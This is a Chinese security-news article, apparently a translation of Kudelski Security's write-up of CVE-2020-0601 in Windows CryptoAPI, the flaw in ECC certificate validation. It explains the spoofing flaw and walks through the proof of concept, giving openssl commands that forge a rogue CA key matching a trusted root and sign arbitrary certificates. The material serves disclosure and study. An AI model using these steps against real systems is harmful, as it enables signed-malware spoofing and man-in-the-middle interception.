freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-0601:使用POC解释了CHAINOFFOOLS
2020-01-17 17:24:32

​2020年1月14日,星期二,MICROSOFT解决了NSA在win10,windows server 2016和2019版本的CRYPT32.DLL中发现的一个严重漏洞。


Microsoft发布了有关此漏洞的以下信息:

Windows CryptoAPI(Crypt32.dll)验证椭圆曲线密码术(ECC)证书的方式中存在一个欺骗漏洞。

攻击者可以通过使用欺骗性的代码签名证书对恶意可执行文件进行签名来利用此漏洞,从而使该文件似乎来自可靠的合法来源。用户将无法知道文件是恶意的,因为数字签名似乎来自受信任的提供程序。

成功的利用还可以使攻击者进行中间人攻击,并在与受影响软件的用户连接上解密机密信息。

尽管这说得相对模糊,但我们可以从CERT网站收集更多信息:

结果,攻击者可能能够制作看来具有被追踪到受信任的根证书颁发机构的能力的证书。

依靠Windows CertGetCertificateChain()函数来确定是否可以将X.509证书跟踪到受信任的根CA的任何软件(包括第三方非Microsoft软件)都可能错误地确定证书链的可信赖性。

支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响。


我们可以知道 该漏洞可能使攻击者可以创建代码签名证书来签署恶意可执行文件,从而使该文件看起来好像来自受信任的合法来源。


在NSA通报中我们可以看到

包含仅与标准曲线部分匹配的显式定义的椭圆曲线参数的证书是可疑的,尤其是如果它们包含受信任证书的公钥时

那么我们可以使用与标准曲线不完全匹配的ECC和显式参数来制作证书!

这不难理解

在ECDSA中,私钥K是一个大整数,而公钥Pk是椭圆曲线上通过计算E得出的点,用于生成具有较大质数阶的曲线生成器(通常与您使用的曲线一起标准化) )。

那么我们可以知道:


640?wx_fmt=png


因此,这里的想法是,在提供的证书中指定显式曲线参数时,证书的加载方式存在一些缺陷。

具体来说,您可以选择任何生成器,就可以为现有的公共密钥创建私钥。我们可以轻松计算出来并且伪造一个生成器,那么我们通过这个漏洞将会知道已知或者说想要攻击的CA的公钥所对应的私钥。

那么我们要如何实现这个漏洞的复现呢。

我们可以利用现有的证书或现有我们想要攻击的证书以及其公共密钥Pk和未知密钥k就足够了。我们再看回到上面的公式kG=Pk,现在我们来构造一些随机值x,然后代入公式中去为G'x=Pk。那么x为我们新生成的密钥,所以我们在用Pk新创建的密钥就是将证书公共密钥的有效密钥。这将有效地使我们欺骗Microsoft CryptoAPI

640?wx_fmt=png


那么我们实知道某些CA证书的密钥,而当使用与标准生成器不同的生成器时,我们实际上就知道它的密钥。


那么我们可以编写poc了

首先,我们需要找到Windows的Trusted Root CA中的某些目标证书,这里我们使用ECC并对其进行攻击。


现在我们需要获取ECC的公钥,我们直接在USERTrustECCCertificationAuthority.crt -text -noout中使用openssl x509-轻松得到ECC的

Certificate:
Data:
Version: 3 (0x2)
Serial Number:
5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26
Signature Algorithm: ecdsa-with-SHA384
Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Validity
Not Before: Feb 1 00:00:00 2010 GMT
Not After : Jan 18 23:59:59 2038 GMT
Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
32:7f:8a:34:e3:79:79
ASN1 OID: secp384r1
NIST CURVE: P-384
X509v3 extensions:
X509v3 Subject Key Identifier:
3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA384
30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1:
63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d:
fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31:
00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5:
83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a:
46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18

我们拿到了它的之中的一点Pk值

(0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221,0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979)

根据上面的理论我们得构造一个或多个的随机值x,我们可以取x值为1,但为了方便演示,我们得取一个合适的x,这里我们取x为0.5。


接下来,我们只需要生成一个带有显式曲线参数的pem文件,并使用生成器生成我们的恶意私钥即可。通过首先使用创建一个模板pem文件,openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit然后使用Python的Crypto.IO PEM模块对其进行编辑来完成。(有关详细信息,请参见PoC代码。)

然后,下一步是生成与真实序列相匹配的恶意CA公共文件

我们首先像通常一样生成一个全新的证书:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

然后我们可以像通常那样生成一个证书签名请求:

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr使用可以在存储库中找到的openssl.cnf配置文件。

最后,我们可以对使用我们的恶意CA进行CSR并获得我们的最终公共证书:

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf

等等!



然后,下一步是生成与真实序列相匹配的恶意CA公共文件


从上面来看我们已经能够使用任意域名和使用者替代名称签署证书,并且Windows的CryptoAPI会将其识别为受信任的证书。注意(只要已经加载了根证书一次,它就在证书缓存中。)


最后,请记住,该漏洞不会被脚本小子或勒索软件利用。尽管这仍然是一个大问题,因为它可能允许对任何网站进行中间人攻击,但您仍需要面对一个拥有您所运营的网络的对手,这对于民族国家的对手来说是可能的,但是对于脚本小子来说却不能。这就是为什么我们发布此PoC的原因,此漏洞的可利用性不足以导致突然的勒索软件威胁(与Wannacry一样)。这也可能就是为什么国家安全局决定不武器化他们的发现,而宁愿披露它的原因。

注:本文是整理译文 原文作家是 Kudelski Security  黑白天@李木 翻译整理https://github.com/kudelskisecurity/chainoffools


# 密码 # HackerOne
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者